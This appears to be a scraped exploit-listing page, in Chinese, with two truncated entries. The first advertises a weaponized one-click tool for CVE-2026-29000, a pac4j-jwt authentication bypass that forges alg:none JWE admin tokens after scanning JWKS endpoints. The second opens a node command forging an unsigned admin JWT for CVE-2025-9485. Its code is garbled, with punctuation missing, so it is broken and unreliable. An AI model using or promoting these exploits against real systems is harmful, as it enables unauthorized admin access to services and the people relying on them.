CVE-2026-29000-PoC-Exploit

🚀 CVE-2026-29000 - pac4j-jwt 身份验证绕过漏洞利用 CVE-2026-29000 - 通过 JWT alg:none + JWE 加密一键伪造管理员权限 📌 概述 该利用工具将 CVE-2026-29000 武器化，这是 pac4j-jwt 库中一个 CVSS 10.0 的严重漏洞。通过提取服务器的公共 JWKS 密钥，并使用 alg: none 伪造加密的 JWE 令牌，它可实现完全的身份验证绕过，一键授予完整的管理员权限。 🔥 核心特性 ✅ 无需任何身份验证 - 预认证利用，无需有效凭据 ✅ 自动 JWKS 发现 - 扫描 15+ 个端点，支持自定义路径...

CVE-2025-9485

漏洞利用：通过未签名 JWT 绕过身份验证（alg: none） 1 伪造一个声明管理员邮箱的未签名 JWT root@kitploit: TOKEN=$node -e ' function b64us return Buffer.froms.toString"base64" .replace/+/g,"-" .replace///g,"" .replace/=+$/,"" const header = b64uJSON.stringify alg: "none", typ: "JWT" ; const now = Math.floorDate.now/1000; const...